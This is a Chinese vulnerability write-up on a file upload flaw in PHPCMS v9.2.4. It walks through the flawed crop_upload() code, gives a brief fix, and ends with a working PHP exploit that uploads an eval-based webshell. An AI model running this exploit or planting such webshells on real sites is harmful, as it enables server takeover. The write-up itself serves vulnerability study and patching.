PHPCMS v9.2.4文件上传漏洞分析【附Exploit】

phpcms版本：v9.2.4

利用条件：由于文件上传利用了Apache解析漏洞，因此只适用于Linux + Apache网站，Windows下的Apache似乎不存在解析漏洞

1、攻击演示

 （1）本地搭建phpcms v9.2.4环境

 （2）随便访问一个页面，用burp suite抓住这个数据包，修改抓住的http数据包如下图所示：

 

要注意的几点如下：

 1、一定要是POST请求

 2、URL中的“m、c、a”这三个参数一定要设置成如图所示

 3、URL中的file参数是"http://127.0.0.1/phpcms-924/uploadfile/webshell.Php.jpg"的URL编码形式，

其中"http://127.0.0.1/phpcms-924"是攻击对象的网址，你可以根据需要修改

 4、Content-Type字段不能设置成application/x-www-form-urlencoded，要设置成错误的格式，在这里我随便写了个xss

 （3）然后forward这个数据包就在网站根目录下的/uploadfile目录生成了webshell.Php.jpg文件

2、漏洞分析

（1）漏洞发生在/phpcms/modules/attachment/attachments.php文件的crop_upload()方法中

	public function crop_upload() {
		if (isset($GLOBALS["HTTP_RAW_POST_DATA"])) {
			$pic = $GLOBALS["HTTP_RAW_POST_DATA"];
			if (isset($_GET['width']) && !empty($_GET['width'])) {
				$width = intval($_GET['width']);
			}
			if (isset($_GET['height']) && !empty($_GET['height'])) {
				$height = intval($_GET['height']);
			}
			if (isset($_GET['file']) && !empty($_GET['file'])) {
				$_GET['file'] = str_replace(';','',$_GET['file']);
				if(is_image($_GET['file'])== false || strpos($_GET['file'],'.php')!==false) exit();
				if (strpos($_GET['file'], pc_base::load_config('system', 'upload_url'))!==false) {
					$file = $_GET['file'];
					$basename = basename($file);
					if (strpos($basename, 'thumb_')!==false) {
						$file_arr = explode('_', $basename);
						$basename = array_pop($file_arr);
					}
					$new_file = 'thumb_'.$width.'_'.$height.'_'.$basename;
				} else {
					pc_base::load_sys_class('attachment','',0);
					$module = trim($_GET['module']);
					$catid = intval($_GET['catid']);
					$siteid = $this->get_siteid();
					$attachment = new attachment($module, $catid, $siteid);
					$uploadedfile['filename'] = basename($_GET['file']); 
					$uploadedfile['fileext'] = fileext($_GET['file']);
					if (in_array($uploadedfile['fileext'], array('jpg', 'gif', 'jpeg', 'png', 'bmp'))) {
						$uploadedfile['isimage'] = 1;
					}
					$file_path = $this->upload_path.date('Y/md/');
					pc_base::load_sys_func('dir');
					dir_create($file_path);
					$new_file = date('Ymdhis').rand(100, 999).'.'.$uploadedfile['fileext'];
					$uploadedfile['filepath'] = date('Y/md/').$new_file;
					$aid = $attachment->add($uploadedfile);
				}
				$filepath = date('Y/md/');
				file_put_contents($this->upload_path.$filepath.$new_file, $pic);
			} else {
				return false;
			}
			echo pc_base::load_config('system', 'upload_url').$filepath.$new_file;
			exit;
		}
	}

这个方法对文件的扩展名检测时采用如下代码：

if(is_image($_GET['file'])== false || strpos($_GET['file'],'.php') !== false) exit();

它先调用is_image()函数检测文件是否是图片，这个函数是作者自定义的函数，具体内容请参考phpcms源码，这个函数是通过后缀名白名单来检测的，所以我们把".jpg"添加到最后，让它通过检测；

同时它又调用strpos()函数检测文件名中是否含有".php"字符串，但这个函数是区分大小写的，我们把文件名设置成".Php"它就认为不包含".php"字符串；

经过前面两步，我们的文件名"webshell.Php.jpg"成为了合法的文件名。

（2）检测完文件名后，作者进行了一次if()条件判断：

if (strpos($_GET['file'], pc_base::load_config('system', 'upload_url'))!==false)

这条语句的意思是：如果$_GET['file']参数中包含uploadfile目录，则进入if()代码段，否则进入else代码段。

在这里我让它进入了if()代码段，这就是为什么URL中的file参数要包含"http://127.0.0.1/phpcms-924/uploadfile/"的原因。

（3）进入if()代码段后，进行的是文件名单拼接工作，直接给原文件名加前缀，没有任何检测，于是乎我们顺利逃过了作者的文件检测。

（4）最后，作者用file_put_contents()函数把POST传输的数据写入到文件中。在这里要注意：

$pic变量的值来源于$GLOBALS["HTTP_RAW_POST_DATA"]，

这个$GLOBALS["HTTP_RAW_POST_DATA"]变量只有在Content-Type字段的值不能被识别时才会出现，

因此我们要把http请求的Content-Type字段设置成不可识别的格式。

3、防御策略

在写入文件之前用stripos()函数再次检测文件名中是否含有".php"字符串，如果有就退出执行，如果没有就继续执行。

4、Exploit

<?php
	/*
		PHPCMS 9.2.4文件上传漏洞Exploit
		利用条件: 文件上传利用了Apache解析漏洞,因此只适用于Linux + Apache网站
		Date: 2017-06-06
	*/
	
	set_time_limit(0);
	function exploit($host) {
		$host = trim($host);
		$url = '/index.php?m=attachment&c=attachments&a=crop_upload&file=' . urlencode($host . '/uploadfile/webshell.Php.jpg');
		$payload = '<?php eval($_REQUEST[\'mysq1\']);?>';
		$length = strlen($payload);
		$ch = curl_init($host . $url);
		curl_setopt($ch, CURLOPT_POST, true);
		curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
		curl_setopt($ch, CURLOPT_HTTPHEADER, array('Content-Type: xss',"Content-Length: $length"));
		curl_setopt($ch, CURLOPT_POSTFIELDS, $payload);
		$response = curl_exec($ch);
		curl_close($ch);
		echo $response;
	}
	// 目标网站地址(注意:网址的结尾不能有斜线"/")
	$host = 'http://127.0.0.1/phpcms-924';
	exploit($host);	
	exit();
?>